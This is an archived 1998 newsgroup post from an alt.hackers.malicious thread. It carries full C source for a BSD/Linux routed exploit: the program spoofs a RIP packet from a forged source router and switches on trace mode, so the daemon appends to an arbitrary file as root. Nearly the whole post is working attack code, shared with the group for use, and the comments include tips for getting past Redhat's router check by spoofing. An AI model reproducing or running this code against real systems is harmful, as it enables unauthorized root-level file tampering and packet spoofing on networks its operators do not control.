home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / riptrace.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  6.3 KB  |  220 lines

  1. ========
  2. Newsgroups: alt.hackers.malicious
  3. Subject: riptrace.c
  4. From: Kevin McCarthy <signals@Yuck.net>
  5. Date: Fri, 20 Feb 1998 14:44:32 GMT
  6.  
  7. In an effort to add some content to this newsgroup, I am going to post
  8. some source code for exploits.
  9.  
  10. The first of which exploits a problem in routed that allows a remote
  11. attacker to append to any file in the system. This is NOT new and has
  12. been posted to BUGTRAQ and is on www.rootshell.com, but it still should
  13. be useful to some of you. If you can't make it work, I don't want to
  14. hear about it. I did not write it and I will not support it. Here you go:
  15.  
  16. ----CUT HERE----
  17.  
  18. /*
  19.  * BSD 4.4 based routed trace file exploit
  20.  *
  21.  * (C) 1997 Rootshell [ http://www.rootshell.com/ ]
  22.  *
  23.  * <info@rootshell.com>
  24.  *
  25.  * routed has the ability for a packet to be sent to the daemon that will
  26.  * turn on debug mode.  The packet is able to specify the file which is
  27.  * later opened without any checks being placed on that file open.
  28.  *
  29.  * Result: You can append to any file on the filesystem.
  30.  *
  31.  * The following syscall is made AS ROOT.
  32.  *
  33.  * ftrace = fopen(file, "a");
  34.  *
  35.  * This is obviously a LARGE problem.
  36.  *
  37.  * Solaris 2.6 seems to ignore these packets and returns the following
  38.  * error.  Mileage may vary.. :
  39.  *
  40.  * in.routed[6580]: trace command from 1.2.3.4 - ignored
  41.  *
  42.  * Redhat routed was tested and found to check if the packet came from
  43.  * a valid router.  If you spoof the RIP packet from their default
  44.  * gateway the packet is ACCEPTED.
  45.  *
  46.  * Note: Once a trace file is opened you must close the trace file and then
  47.  * open another file.
  48.  *
  49.  * Exploit tested under Linux 2.0.x.
  50.  *
  51.  * ps.  Just run gated! (http://www.gated.org/)
  52.  *
  53.  */
  54.  
  55.  
  56. /* File to append to on filesystem with debug output */
  57.  
  58. #define FILETOCREATE    "/tmp/rootshell"
  59.  
  60.  
  61. #include <stdio.h>
  62. #include <stdlib.h>
  63. #include <string.h>
  64. #include <unistd.h>
  65. #include <sys/types.h>
  66. #include <sys/socket.h>
  67. #include <netinet/in.h>
  68. #include <netinet/in_systm.h>
  69. #include <netinet/ip.h>
  70. #include <netinet/ip_tcp.h>
  71. #include <linux/udp.h>
  72. #include <netinet/protocols.h>
  73. #include <netdb.h>
  74. #include <protocols/routed.h>
  75. #include <linux/route.h>
  76.  
  77. #define err(x) { fprintf(stderr, x); exit(1); }
  78. #define errs(x, y) { fprintf(stderr, x, y); exit(1); }
  79.  
  80. /*
  81.  * in_cksum --
  82.  *  Checksum routine for Internet Protocol family headers (C Version)
  83.  */
  84. unsigned short in_cksum(addr, len)
  85. u_short *addr;
  86. int len;
  87. {
  88.     register int nleft = len;
  89.     register u_short *w = addr;
  90.     register int sum = 0;
  91.     u_short answer = 0;
  92.  
  93.     /*
  94.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  95.      * sequential 16 bit words to it, and at the end, fold back all the
  96.      * carry bits from the top 16 bits into the lower 16 bits.
  97.      */
  98.     while (nleft > 1)  {
  99.         sum += *w++;
  100.         nleft -= 2;
  101.     }
  102.  
  103.     /* mop up an odd byte, if necessary */
  104.     if (nleft == 1) {
  105.         *(u_char *)(&answer) = *(u_char *)w ;
  106.         sum += answer;
  107.     }
  108.  
  109.     /* add back carry outs from top 16 bits to low 16 bits */
  110.     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  111.     sum += (sum >> 16);         /* add carry */
  112.     answer = ~sum;              /* truncate to 16 bits */
  113.     return(answer);
  114. }
  115.  
  116. /* Send faked UDP packet. */
  117. int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
  118. struct sockaddr_in *sin;
  119. unsigned short int s, datalen, sport, dport;
  120. unsigned long  int saddr, daddr;
  121. char *data;
  122. {
  123.   struct iphdr  ip;
  124.   struct udphdr udp;
  125.   static char packet[8192];
  126.  
  127.   /* Fill in IP header values. */
  128.   ip.ihl      = 5;
  129.   ip.version  = 4;
  130.   ip.tos      = 0;
  131.   ip.tot_len  = htons(28 + datalen);
  132.   ip.id       = htons(31337 + (rand()%100));
  133.   ip.frag_off = 0;
  134.   ip.ttl      = 255;
  135.   ip.protocol = IPPROTO_UDP;
  136.   ip.check    = 0;
  137.   ip.saddr    = saddr;
  138.   ip.daddr    = daddr;
  139.   ip.check    = in_cksum((char *)&ip, sizeof(ip));
  140.  
  141.   /* Fill in UDP header values. Checksums are unnecassary. */
  142.   udp.source = htons(sport);
  143.   udp.dest   = htons(dport);
  144.   udp.len    = htons(8 + datalen);
  145.   udp.check  = (short) 0;
  146.  
  147.   /* Copy the headers into our character array. */
  148.   memcpy(packet, (char *)&ip, sizeof(ip));
  149.   memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
  150.   memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);
  151.  
  152.   return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0,
  153.          (struct sockaddr *)sin, sizeof(struct sockaddr_in)));
  154. }
  155.  
  156. /* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */
  157. unsigned int lookup(host)
  158. char *host;
  159. {
  160.   unsigned int addr;
  161.   struct hostent *he;
  162.  
  163.   addr = inet_addr(host);       /* Try if it's a "127.0.0.1" style string */
  164.   if (addr == -1)               /* If not, lookup the host */
  165.   {
  166.     he = gethostbyname(host);
  167.     if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
  168.       return 0;
  169.  
  170.     bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
  171.   }
  172.   return(addr);
  173. }
  174.  
  175. void
  176. main(argc, argv)
  177. int argc; char **argv;
  178. {
  179.   unsigned int saddr, daddr;
  180.   struct sockaddr_in sin;
  181.   int s;
  182.   struct rip rp;
  183.  
  184.   if(argc != 4)
  185.     errs("\nSee http://www.rootshell.com/\n\nUsage: %s <source_router> <dest_addr> <command>\n\ncommand: 3 = trace on, 4 = trace off\n\n",argv[0]);
  186.  
  187.   if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  188.     err("Unable to open raw socket.\n");
  189.  
  190.   if(!(saddr = lookup(argv[1])))
  191.     err("Unable to lookup source address.\n");
  192.   if(!(daddr = lookup(argv[2])))
  193.     err("Unable to lookup destination address.\n");
  194.  
  195.   sin.sin_family     = AF_INET;
  196.   sin.sin_addr.s_addr= daddr;
  197.   sin.sin_port       = 520;
  198.  
  199.   /* Fill in RIP packet info */
  200.   rp.rip_cmd = atoi(argv[3]); /* 3 = RIPCMD_TRACEON, 4 = RIPCMD_TRACEOFF */
  201.   rp.rip_vers = RIPVERSION; /* Must be version 1 */
  202.   sprintf(rp.rip_tracefile, FILETOCREATE);
  203.  
  204.   if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1)
  205.   {
  206.     perror("sendpkt_udp");
  207.     err("Error sending the UDP packet.\n");
  208.   }
  209. }
  210.  
  211. ----CUT HERE----
  212.  
  213. -- 
  214.    ___  _   ___  _  _   __   _    ___
  215.   / __|| | / __|| \| | /  \ | |  / __|  Kevin McCarthy
  216.   \ \  | || | __|    || () || |  \ \    <signals@Yuck.net>
  217.  __\ \ | || || ||    || __ || |__ \ \   
  218. |____/_|_|_\___/|_|\_||_||_||____|_\ \ 
  219. |____________________________________/
  220.